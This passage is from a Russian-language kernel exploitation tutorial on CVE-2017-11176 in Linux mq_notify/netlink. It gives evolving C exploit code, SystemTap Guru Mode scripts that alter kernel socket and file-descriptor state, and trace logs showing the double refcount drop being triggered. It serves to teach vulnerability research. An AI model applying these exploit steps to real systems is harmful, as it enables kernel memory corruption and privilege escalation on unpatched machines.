if (!nc) {
ret = -ENOMEM;
goto out;
}
[4] if (copy_from_user(nc->data,
notification.sigev_value.sival_ptr,
NOTIFY_COOKIE_LEN)) {
ret = -EFAULT;
goto out;
}
/* TODO: add a header? */
skb_put(nc, NOTIFY_COOKIE_LEN);
/* and attach it to the socket */
retry: // <—- we want to reach
this!
filp = fget(notification.sigev_signo);
Если передаваемый аргумент не равен NULL [2], sigev_notify
проверяется три раза ([3a], [3b], [3c]). Далее функция copy_from_user()
вызывается еще раз ([4]), куда передается notification.sigev_value_sival_ptr из
пространства пользователя. Этот указатель должен указывать на корректные
пользовательские данные/буфер, доступные для чтения, иначе copy_from_user()
завершится с ошибкой.
Вспоминаем, что структура sigevent объявлена здесь:
// [include/asm-generic/siginfo.h]
typedef union sigval {
int sival_int;
void __user *sival_ptr;
} sigval_t;
typedef struct sigevent {
sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;
struct {
void (*_function)(sigval_t);
void *_attribute; /* really pthread_attr_t */
} _sigev_thread;
}
_sigev_un;
} sigevent_t;
Чтобы код после метки retry отработал
хотя бы один раз, нужно сделать следующее:
1.
Передать непустой аргумент u_notification.
2.
Установить в u_notification.sigev_notify
значение SIGEV_THREAD.
3.
Значение, на которое указывает
notification.sigev_value.sival_ptr, должно быть корректным и доступным для
чтения адресом в пространстве пользователя размером NOTIFY_COOKIE_LEN (=32)
байта (см. [include/linux/mqueue.h]).
Первая
заготовка эксплоита
Приступаем к разработке эксплоита и попутно проверяем, чтобы не
возникало никаких проблем.
/*
* CVE-2017-11176 Exploit.
*/
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#define NOTIFY_COOKIE_LEN (32)
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
printf(«-={ CVE-2017-11176
Exploit }=-n»);
// initialize the sigevent
structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
if (mq_notify((mqd_t)-1, &sigev))
{
perror(«mqnotify»);
goto fail;
}
printf(«mqnotify succeedn»);
// TODO: exploit
return 0;
fail:
printf(«exploit failed!n»);
return -1;
}
Чтобы облегчить разработку эксплоита, рекомендуется использовать
Makefile (скрипты для сборки и запуска всегда полезны). Для компиляции нужно
линковать бинарный файл, используя флаги ‑lrt, которые нужны для системного
вызова mq_notify (см. «man
mq_notify»).
Кроме того, рекомендуется использовать опцию ‑O0, чтобы gcc не переупорядочивал код, что может привести к
ошибкам, которые трудно отлаживать.
-={ CVE-2017-11176 Exploit }=-
mqnotify: Bad file descriptor
exploit failed!
Первый тест эксплоита завершился тем, что системный вызов
mq_notify вернул ошибку «Bad file descriptor» (плохой файловый дескриптор), что
эквивалентно «‑EBADF». Существует три места, где эта ошибка может возникнуть:
один из вызовов fget() или последующая проверка (filp‑>f_op
!= &mqueue_file_operations).
Привет,
SystemTap!
На ранних стадиях разработки очень рекомендуется запускать
эксплоит в ядре вместе с отладочными символами, чтобы мы смогли использовать SystemTap, представляющий собой инструмент,
который позволяет снимать параметры ядра в режиме реального времени без использования
gdb. Таким образом, сильно упрощается
визуализация нужных нам метрик.
Начнем с использования простейших скриптов в SystemTap:
# mq_notify.stp
probe syscall.mq_notify
{
if (execname() == «exploit»)
{
printf(«nn(%d-%d) >>> mq_notify
(%s)n»,
pid(), tid(), argstr)
}
}
probe syscall.mq_notify.return
{
if (execname() == «exploit»)
{
printf(«(%d-%d) <<< mq_notify =
%xnnn»,
pid(), tid(), $return)
}
}
Скрипт выше будет снимать параметры до и после запуска системного
вызова.
Функции pid() и tid() очень помогают во время отладки нескольких
потоков. Кроме того, условие (execname() == «exploit») уменьшает
объем выводимой информации.
Предупреждение: если будет
слишком много данных, SystemTap
может по-тихому не выводить некоторые строки.
Запускаем скрипт:
stap -v mq_notify.stp
и затем эксплоит:
(14427-14427) >>> mq_notify
(-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = fffffffffffffff7
Параметры снимаются. Как видно выше, оба аргумента, передаваемые в
mq_notify(), почему-то совпадают с параметрами нашего вызова (мы установили
«-1» в качестве первого параметра, а значение 0x7ffdd7421400 похоже на адрес из
пространства пользователя). После вызова возвращается значение fffffffffffffff7, что
эквивалентно ‑EBADF (=‑9). Будем снимать новые пробы.
В отличие от хуков системных вызовов (функций, начинающихся с
«SYSCALL_DEFINE*») хуки на обычные функции ядра вешаются при помощи следующего
синтаксиса:
probe kernel.function («fget»)
{
if (execname() == «exploit»)
{
printf(«(%d-%d) [vfs] ==>> fget
(%s)n»,
pid(), tid(), $$parms)
}
}
Предупреждение: По
некоторым причинам не на все функции ядра можно повесить хуки. Например, в
случае со «встроенными» (inline) функциями все зависит от места вызова. Кроме
того, на некоторые функции (например, copy_from_user()) можно повесить хук
только до вызова, но не после (т.е. во время возврата результата). В любом
случае System Tap выдаст предупреждение и не будет запускать скрипт.
Добавим снятие параметров на каждую функцию внутри mq_notify(),
чтобы отследить поток выполнения.
После перезапуска эксплоита получаем следующее:
(17850-17850) [SYSCALL] ==>>
mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>>
copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(17850-17850) [uland] ==>>
copy_from_user ()
(17850-17850) [skb] ==>> skb_put
(skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put =
ffff88000a187600
(17850-17850) [vfs] ==>> fget
(fd=0x3)
(17850-17850) [vfs] <<== fget =
ffff88002e271280
(17850-17850) [netlink] ==>>
netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<==
netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>>
netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 ti
meo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<==
netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget
(fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>>
netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<==
netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9
Первая
ошибка!
Кажется, мы успешно достигли метки retry, поскольку у нас получилась следующая последовательность:
1. copy_from_user: наш
указатель не равен null
2. alloc_skb: проверка SIGEV_THREAD
пройдена
успешно
3. copy_from_user: берем sival_buffer
4. skb_put: предыдущий вызов copy_from_user() завершился успешно
5. fget(fd=0x3): <‑‑‑ ???
Ошибка заключается в том, что мы не инициализировали файловый
дескриптор notification.sigev_signo, который должен быть равен 0, а не 3.
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
Тем не менее, первый вызов fget() завершился успешно. Кроме того,
оба вызова netlink_getsockbyfilp() и netlink_attachskb() сработали, что
довольно странно, поскольку мы не создали ни одного сокета AF_NETLINK.
Ошибка возникает во втором вызове fget(), поскольку мы передаем «‑1»
(0xffffffff) в первом аргументе системного вызова mq_notify(). Попробуем
выяснить, почему.
Вначале сравним указатель sigevent со значением, которое
передается в системный вызов:
printf(«sigev = 0x%pn», &sigev);
if (mq_notify((mqd_t) -1, &sigev))
-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7ffdd9257f00 // <——
mq_notify: Bad file descriptor
exploit failed!
(18652-18652) [SYSCALL] ==>> mq_notify (-1,
0x7ffdd9257e60)
Теперь становится понятно, что структура, передаваемая в
mq_notify, не соответствует той, которую мы использовались в эксплоите. То есть
либо ошибка в System
Tap (что вполне возможно) или нас подвела обертка какой-то библиотеки.
Попробуем исправить ситуацию и вызовем mq_notify через системный
вызов syscall().
Вначале добавим дополнительные заголовки и нашу собственную
оболочку:
#define _GNU_SOURCE
#include <unistd.h>
#include
<sys/syscall.h>
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify,
mqdes, sevp)
Не забываем удалить «‑lrt» в Makefile, поскольку теперь системный вызов будет использоваться напрямую.
Кроме того, явным образом присваиваем sigev_signo значение «-1»,
поскольку 0 является корректным файловым дескриптором.
Обновленный код выглядит так:
int
main(void)
{
// … cut …
sigev.sigev_signo = -1;
printf(«sigev = 0x%pn», &sigev);
if (_mq_notify((mqd_t)-1, &sigev))
// … cut
…
}
После запуска получаем следующий результат:
-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7fffb7eab660
mq_notify: Bad file descriptor
exploit failed!
(18771-18771) [SYSCALL] ==>>
mq_notify (-1, 0x7fffb7eab660) // <— as expected!
(18771-18771) [uland] ==>>
copy_from_user ()
(18771-18771) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(18771-18771) [uland] ==>>
copy_from_user ()
(18771-18771) [skb] ==>> skb_put
(skb=0xffff88003d2e95c0 len=0x20)
(18771-18771) [skb] <<== skb_put =
ffff88000a0a2200
(18771-18771) [vfs] ==>> fget
(fd=0xffffffff) // <—- that’s better!
(18771-18771) [vfs] <<== fget = 0
(18771-18771) [SYSCALL] <<== mq_notify= -9
В этот раз мы сразу же попали в код метки out после первого вызова fget(), который,
как и ожидалось, завершился неудачно.
Теперь мы знаем, что можем пройти все проверки и добраться до
метки retry (как минимум один раз). Проблема,
связанная с некорректной работой обертки библиотеки, исправлена, и впредь,
чтобы подобный сложностей не возникало, мы будем использовать собственную
оболочку для каждого системного вызова.
Двигаемся дальше и переходим к воспроизведению уязвимости при
помощи SystemTap.
Проверка
уязвимости
Иногда требуется быстро проверить
идею без перелопачивания всего кода ядра. В этом разделе мы научимся
использовать продвинутый режим в System Tap под названием Guru Mode для
модификации структур данных ядра и инициации потока выполнения определенных
участков кода.
Другими словами, мы активируем
уязвимость в пространстве ядра. Идея заключается в том, что если мы не
сможем воспроизвести брешь даже в пространстве ядра, то точно не сможем решить
эту задачу из пространства пользователя. Вначале попробуем удовлетворить все
необходимые условия посредством модификации ядра, а затем сделаем пошагово то
же самое в пространстве пользователя (см. часть 2).
Как было сказано выше, мы сможем воспроизвести уязвимость, если:
Доберемся до логики повторения (кода после
метки retry). То есть вначале нужно сделать так,
чтобы функция netlink_attachskb() вернула значение 1. Счетчик ссылок структуры sock будет уменьшен на 1.
После возвращения к метке retry (goto retry) следующий вызов fget() должен вернуть NULL, чтобы мы попали к метке out и уменьшили счетчик ссылок структуры sock во второй раз.
Вызов
netlink_attachskb()
В предыдущем разделе мы выяснили, что для активации уязвимости
функция netlink_attachskb() должна вернуть значение 1. Однако перед вызовом
должны быть выполнены следующие условия:
Мы должны предоставить корректный файловый
дескриптор, чтобы первый вызов fget()
завершился успешно.
Файл, на который будет указывать дескриптор,
должен быть сокетом с типом AF_NETLINK.
Если вышеуказанные условия будут удовлетворены, все проверки будут
пройдены:
retry:
[0] filp
= fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out;
}
[1] sock
= netlink_getsockbyfilp(filp);
fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
goto out;
}
Пройти первую проверку [0] довольно просто. Нужно лишь создать
корректный файловый дескриптор, используя функцию open() или socket(). Еще лучше,
если мы сразу же укажем правильный тип, иначе вторая проверка [1] окончится
неудачно:
struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;
if (!S_ISSOCK(inode->i_mode)) // <— this need to be a socket…
return ERR_PTR(-ENOTSOCK);
sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK) // <— …from the AF_NETLINK family
return ERR_PTR(-EINVAL);
sock_hold(sock);
return sock;
}
Таким образом, код эксплоита приобретает следующий вид (не
забываем обернуть системный вызов socket()):
/*
* CVE-2017-11176 Exploit.
*/
#define _GNU_SOURCE
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#define NOTIFY_COOKIE_LEN (32)
#define _mq_notify(mqdes, sevp)
syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket,
domain, type, protocol)
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
printf(«-={ CVE-2017-11176
Exploit }=-n»);
if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM,
NETLINK_GENERIC)) <
0)
{
perror(«socket»);
goto fail;
}
printf(«netlink socket created
= %dn»,
sock_fd);
// initialize the sigevent
structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = sock_fd; // <— not ‘-1’ anymore
if (_mq_notify((mqd_t)-1, &sigev))
{
perror(«mq_notify»);
goto fail;
}
printf(«mq_notify succeedn»);
// TODO: exploit
return 0;
fail:
printf(«exploit failed!n»);
return -1;
}
Запускаем эксплоит:
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(18998-18998) [SYSCALL] ==>>
mq_notify (-1, 0x7ffce9cf2180)
(18998-18998) [uland] ==>> copy_from_user
()
(18998-18998) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(18998-18998) [uland] ==>>
copy_from_user ()
(18998-18998) [skb] ==>> skb_put
(skb=0xffff88003d1e0480 len=0x20)
(18998-18998) [skb] <<== skb_put =
ffff88000a0a2800
(18998-18998) [vfs] ==>> fget
(fd=0x3) // <— this ti
me ‘3’ is expected
(18998-18998) [vfs] <<== fget =
ffff88003cf14d80 // PASSED
(18998-18998) [netlink] ==>>
netlink_getsockbyfilp (filp=0xffff88003cf14d80)
(18998-18998) [netlink] <<==
netlink_getsockbyfilp = ffff88002ff60000 // PASSED
(18998-18998) [netlink] ==>>
netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 ti
meo=0xffff88003df8ff40 ssk=0x0)
(18998-18998) [netlink] <<==
netlink_attachskb = 0 // UNWANTED BEH
AVIOR
(18998-18998) [vfs] ==>> fget (fd=0xffffffff)
(18998-18998) [vfs] <<== fget = 0
(18998-18998) [netlink] ==>>
netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
(18998-18998) [netlink] <<==
netlink_detachskb
(18998-18998) [SYSCALL] <<== mq_notify= -9
Логи, показанные выше, во много схожи с предыдущим случаем.
Отличие заключается в том, что сейчас у нас полный контроль на данными
(файловый дескриптор и sigev), и
ничего не скрыто за библиотекой. Поскольку ни вызов fget(), ни вызов
netlink_getsockbyfilp(), не вернули NULL, можно
предположить, что обе проверки пройдены.
Форсирование
функции netlink_attachskb() на отработку логики повторения
В предыдущем коде мы смогли достичь функции netlink_attachskb(),
которая вернула 0. Сей факт означает, что отработался «стандартный» сценарий.
Мы же хотим, чтобы функция вернула 1, и отработался код метки «retry». Возвращаемся в код ядра:
int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
// … cut (never reached in our code
path) …
}
__set_current_state(TASK_INTERRUPTIBLE);
add_wait_queue(&nlk->wait, &wait);
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);
__set_current_state(TASK_RUNNING);
remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1; // <—- the only way
}
skb_set_owner_r(skb, sk);
return 0;
}
Единственный способ заставить netlink_attachskb() вернуть «1»
требует, чтобы вначале мы прошли проверку [0]:
if (atomic_read(&sk->sk_rmem_alloc)
>
sk->sk_rcvbuf
||
test_bit(0, &nlk->state))
Настало время воспользоваться всей мощью утилиты System Tap и
переключиться в продвинутый режим Guru Mode! Этот режим позволяет написать встроенный
код на C, который будет выполнен во время
снятия параметров. Этот процесс похож на написание кода и создание модуля,
который внедряется во время выполнения. Однако не забывайте, что любая ошибка
при программировании станет причиной краха. Теперь вы становитесь полноценным
разработчиком ядра J.
Мы будем модифицировать либо структуру sock (sk) и/или
структуру netlink_sock (nlk) так,
чтобы условие стало истинным. Однако прежде соберем полезную информацию о
состоянии структуры sock (sk).
В скрипте, используемом для снятия параметров функции
netlink_attachskb(), добавим встроенный код на С между «%{« и «%}»
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
%}
function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*)
STAP_ARG_arg_sock;
struct netlink_sock *nlk =
(void*) sk;
_stp_printf(«-={
dump_netlink_sock: %p }=-n», nlk);
_stp_printf(«- sk =
%pn», sk);
_stp_printf(«-
sk->sk_rmem_alloc = %dn», sk->sk_rmem_alloc);
_stp_printf(«-
sk->sk_rcvbuf = %dn», sk->sk_rcvbuf);
_stp_printf(«-
sk->sk_refcnt = %dn», sk->sk_refcnt);
_stp_printf(«-
nlk->state = %xn», (nlk->state & 0x1));
_stp_printf(«-={
dump_netlink_sock: END}=-n»);
%}
probe kernel.function («netlink_attachskb»)
{
if (execname() == «exploit»)
{
printf(«(%d-%d) [netlink] ==>>
netlink_attachskb (%s)n», pid(), tid(), $$parms)
dump_netlink_sock($sk);
}
}
Предупреждение: не
забываем, что код выполняется в ядре, и любая ошибка приведет к краху.
Запускаем system tap с ключом ‑g, который
используется для включения продвинутого режима (guru mode).
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(19681-19681) [SYSCALL] ==>>
mq_notify (-1, 0x7ffebaa7e720)
(19681-19681) [uland] ==>>
copy_from_user ()
(19681-19681) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(19681-19681) [uland] ==>>
copy_from_user ()
(19681-19681) [skb] ==>> skb_put
(skb=0xffff88003d1e05c0 len=0x20)
(19681-19681) [skb] <<== skb_put =
ffff88000a0a2200
(19681-19681) [vfs] ==>> fget
(fd=0x3)
(19681-19681) [vfs] <<== fget =
ffff88003d0d5680
(19681-19681) [netlink] ==>> netlink_getsockbyfilp
(filp=0xffff88003d0d5680)
(19681-19681) [netlink] <<==
netlink_getsockbyfilp = ffff880036256800
(19681-19681) [netlink] ==>>
netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 ti
meo=0xffff88003df5bf40 ssk=0x0)
-={ dump_netlink_sock:
0xffff880036256800 }=-
— sk = 0xffff880036256800
— sk->sk_rmem_alloc = 0 // <——
— sk->sk_rcvbuf = 133120 // <——
— sk->sk_refcnt = 2
— nlk->state = 0 // <——
-={ dump_netlink_sock: END}=-
(19681-19681) [netlink] <<==
netlink_attachskb = 0
(19681-19681) [vfs] ==>> fget
(fd=0xffffffff)
(19681-19681) [vfs] <<== fget = 0
(19681-19681) [netlink] ==>>
netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
(19681-19681) [netlink] <<==
netlink_detachskb
(19681-19681) [SYSCALL] <<== mq_notify= -9
Встроенная функция dump_netlink_sock() вызывается корректно перед вызовом netlink_attachskb(). Как видно
по логам выше, первый бит поля nlk->state не установлен, а значение
sk_rmem_alloc меньше, чем sk_rcvbuf. Таким образом, проверка не пройдена.
Попробуем поменять nlk‑>state перед вызовом
netlink_attachskb():
function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
_stp_printf(«-={ dump_netlink_sock:
%p }=-n»,
nlk);
_stp_printf(«- sk = %pn», sk);
_stp_printf(«- sk->sk_rmem_alloc
= %dn»,
sk->sk_rmem_alloc);
_stp_printf(«- sk->sk_rcvbuf =
%dn»,
sk->sk_rcvbuf);
_stp_printf(«- sk->sk_refcnt =
%dn»,
sk->sk_refcnt);
_stp_printf(«- (before)
nlk->state = %xn», (nlk->state & 0x1));
nlk->state |= 1; // <——
_stp_printf(«- (after)
nlk->state = %xn», (nlk->state & 0x1));
_stp_printf(«-={ dump_netlink_sock:
END}=-n»);
%}
Запускаем:
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
<<< HIT CTRL-C HERE
>>>
^Cmake: *** [check] Interrupt
(20002-20002) [SYSCALL] ==>>
mq_notify (-1, 0x7ffc48bed2c0)
(20002-20002) [uland] ==>> copy_from_user
()
(20002-20002) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(20002-20002) [uland] ==>>
copy_from_user ()
(20002-20002) [skb] ==>> skb_put
(skb=0xffff88003d3a6080 len=0x20)
(20002-20002) [skb] <<== skb_put =
ffff88002e142600
(20002-20002) [vfs] ==>> fget
(fd=0x3)
(20002-20002) [vfs] <<== fget =
ffff88003ddd8380
(20002-20002) [netlink] ==>>
netlink_getsockbyfilp (filp=0xffff88003ddd8380)
(20002-20002) [netlink] <<==
netlink_getsockbyfilp = ffff88003dde0400
(20002-20002) [netlink] ==>> netlink_attachskb
(sk=0xffff88003dde0400 skb=0xffff88003d3a6080 ti
meo=0xffff88002e233f40 ssk=0x0)
-={ dump_netlink_sock:
0xffff88003dde0400 }=-
— sk = 0xffff88003dde0400
— sk->sk_rmem_alloc = 0
— sk->sk_rcvbuf = 133120
— sk->sk_refcnt = 2
— (before) nlk->state = 0
— (after) nlk->state = 1
-={ dump_netlink_sock: END}=-
<<< HIT CTRL-C HERE
>>>
(20002-20002) [netlink] <<==
netlink_attachskb = fffffffffffffe00 // <——
(20002-20002) [SYSCALL] <<== mq_notify= -512
Упс! Вызов mq_notify() оказался заблокированным (то есть в ядре
главный поток эксплоита остановился внутри системного вызова). Однако мы можем
вернуть ситуацию под контроль, нажав CTRL‑C.
Обратите внимание, что в этот раз функция netlink_attachskb()
возвратила 0xfffffffffffffe00, что соответствует ошибке «‑ERESTARTSYS».
Другими словами, отработался следующий код:
if (signal_pending(current))
{
kfree_skb(skb);
return sock_intr_errno(*timeo); // <—- return -ERESTARTSYS
}
То есть отработал код другой ветки функции netlink_attachskb(), и
наша миссия завершена успешно.
Обход
блокировки
Причину, по которой вызов mq_notify() оказался заблокированным,
иллюстрирует следующий код:
__set_current_state(TASK_INTERRUPTIBLE);
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);
__set_current_state(TASK_RUNNING);
Более детально механизм планирования будет рассмотрен позже (во
второй части), а сейчас просто отмечаем, что наша задача остановлена до тех пор,
пока не будут удовлетворено особое условие, связанное с очередью ожидания.
Можем ли мы обойти планировщик и блокировку? Чтобы решить эту
задачу, нужно избежать вызова schedule_timeout(). Пометим структуру sock как «SOCK_DEAD» (последняя часть условия),
изменив содержимое sk (как
делалось ранее), чтобы функция sock_flag() вернула истину.
// from [include/net/sock.h]
static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
{
return test_bit(flag, &sk->sk_flags);
}
enum sock_flags {
SOCK_DEAD, // <—- this has to be
‘0’, but we can check it with stap!
… cut …
}
Изменяем скрипт для снятия параметров:
// mark it congested!
_stp_printf(«- (before)
nlk->state = %xn», (nlk->state & 0x1));
nlk->state |= 1;
_stp_printf(«- (after)
nlk->state = %xn», (nlk->state & 0x1));
// mark it DEAD
_stp_printf(«- sk->sk_flags =
%xn», sk->sk_flags);
_stp_printf(«- SOCK_DEAD =
%xn», SOCK_DEAD);
sk->sk_flags |= (1 <<
SOCK_DEAD);
_stp_printf(«- sk->sk_flags = %xn»,
sk->sk_flags);
После повторного запуска главный поток эксплоита оказался в
бесконечном цикле внутри ядра по следующим причинам:
Происходит вызов функции netlink_attachskb() и
отработка кода после метки retry,
поскольку мы форсировали выполнение этого сценария.
Поток не попал под режим планирования,
поскольку мы внесли нужные изменения.
Функция netlink_attachskb() вернула значение
1.
После возврата в mq_notify() сработала
инструкция «goto retry».
Функции fget и netlink_getsockbyfilp() вернули непустые значения
Мы стали повторно вызвали netlink_attachskb()
и так до бесконечности.
Таким образом, мы избежали вызова schedule_timeout(), который нас
блокировал, но попали в бесконечный цикл.
Прерывание
бесконечного цикла
Нам нужно, чтобы второй вызов fget() завершился неудачно, что можно реализовать, если удалить
файловый дескриптор из таблицы FDT (то есть
установить соответствующий элемент равным NULL):
%{
#include <linux/fdtable.h>
%}
function remove_fd3_from_fdt:long (arg_unused:long)
%{
_stp_printf(«!!>>> REMOVING FD=3 FROM
FDT <<<!!n»);
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL;
%}
probe kernel.function («netlink_attachskb»)
{
if (execname() == «exploit»)
{
printf(«(%d-%d) [netlink] ==>>
netlink_attachskb (%s)n», pid(), tid(), $$parms)
dump_netlink_sock($sk); // it also marks the socket as DEAD
and CONGESTED
remove_fd3_from_fdt(0);
}
}
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(3095-3095) [SYSCALL] ==>>
mq_notify (-1, 0x7ffe5e528760)
(3095-3095) [uland] ==>>
copy_from_user ()
(3095-3095) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(3095-3095) [uland] ==>>
copy_from_user ()
(3095-3095) [skb] ==>> skb_put
(skb=0xffff88003f02cd00 len=0x20)
(3095-3095) [skb] <<== skb_put =
ffff88003144ac00
(3095-3095) [vfs] ==>> fget
(fd=0x3)
(3095-3095) [vfs] <<== fget =
ffff880031475480
(3095-3095) [netlink] ==>>
netlink_getsockbyfilp (filp=0xffff880031475480)
(3095-3095) [netlink] <<==
netlink_getsockbyfilp = ffff88003cf56800
(3095-3095) [netlink] ==>>
netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 time
o=0xffff88002d79ff40 ssk=0x0)
-={ dump_netlink_sock:
0xffff88003cf56800 }=-
— sk = 0xffff88003cf56800
— sk->sk_rmem_alloc = 0
— sk->sk_rcvbuf = 133120
— sk->sk_refcnt = 2
— (before) nlk->state = 0
— (after) nlk->state = 1
— sk->sk_flags = 100
— SOCK_DEAD = 0
— sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT
<<<!!
(3095-3095) [netlink] <<==
netlink_attachskb = 1 // <——
(3095-3095) [vfs] ==>> fget
(fd=0x3)
(3095-3095) [vfs] <<== fget = 0 //
<——
(3095-3095) [netlink] ==>>
netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
(3095-3095) [netlink] <<==
netlink_detachskb
(3095-3095) [SYSCALL] <<== mq_notify= -9
Прекрасно! Ядро вышло из бесконечного цикла. Кроме того, мы все
ближе и ближе подходим к реализации запланированного сценария атаки:
1.
Функция netlink_attachskb() вернула 1.
2.
Второй вызов fget() вернул NULL.
Теперь нужно проверить, произошла ли активация уязвимости?
Проверка
статуса счетчика ссылок
Поскольку теперь все идет согласно намеченному плану, уязвимость
должна сработать, и счетчик ссылок структуры sock должен уменьшится дважды. Проверяем.
Во время съема параметров после вызова функции невозможно
проверить параметры, которые были до вызова. То есть мы не можем проверить
содержимое sock во время
возврата из функции netlink_attachskb().
Чтобы решить эту задачу, нужно сохранить указатель структуры sock, возвращаемый функцией
netlink_getsockbyfilp(), в глобальную переменную (sock_ptr в
скрипте), а затем выгрузить содержимое переменной при помощи встроенного кода
на C внутри функции dump_netlink_sock():
global sock_ptr = 0; // <—— declared globally!
probe syscall.mq_notify.return
{
if (execname() == «exploit»)
{
if (sock_ptr != 0) // <—— watch your NULL-deref, this
is kernel-land!
{
dump_netlink_sock(sock_ptr);
sock_ptr = 0;
}
printf(«(%d-%d) [SYSCALL] <<==
mq_notify= %dnn», pid(), tid(), $return)
}
}
probe kernel.function («netlink_getsockbyfilp»).return
{
if (execname() == «exploit»)
{
printf(«(%d-%d) [netlink] <<==
netlink_getsockbyfilp = %xn», pid(), tid(), $return)
sock_ptr = $return; // <—— store it
}
}
Снова запускаем скрипт.
(3391-3391) [SYSCALL] ==>>
mq_notify (-1, 0x7ffe8f78c840)
(3391-3391) [uland] ==>>
copy_from_user ()
(3391-3391) [skb] ==>> alloc_skb
(priority=0xd0 size=0x20)
(3391-3391) [uland] ==>>
copy_from_user ()
(3391-3391) [skb] ==>> skb_put
(skb=0xffff88003d20cd00 len=0x20)
(3391-3391) [skb] <<== skb_put =
ffff88003df9dc00
(3391-3391) [vfs] ==>> fget
(fd=0x3)
(3391-3391) [vfs] <<== fget =
ffff88003d84ed80
(3391-3391) [netlink] ==>>
netlink_getsockbyfilp (filp=0xffff88003d84ed80)
(3391-3391) [netlink] <<==
netlink_getsockbyfilp = ffff88002d72d800
(3391-3391) [netlink] ==>>
netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 time
o=0xffff8800317a7f40 ssk=0x0)
-={ dump_netlink_sock:
0xffff88002d72d800 }=-
— sk = 0xffff88002d72d800
— sk->sk_rmem_alloc = 0
— sk->sk_rcvbuf = 133120
— sk->sk_refcnt = 2 //
<————
— (before) nlk->state = 0
— (after) nlk->state = 1
— sk->sk_flags = 100
— SOCK_DEAD = 0
— sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3391-3391) [netlink] <<==
netlink_attachskb = 1
(3391-3391) [vfs] ==>> fget
(fd=0x3)
(3391-3391) [vfs] <<== fget = 0
(3391-3391) [netlink] ==>>
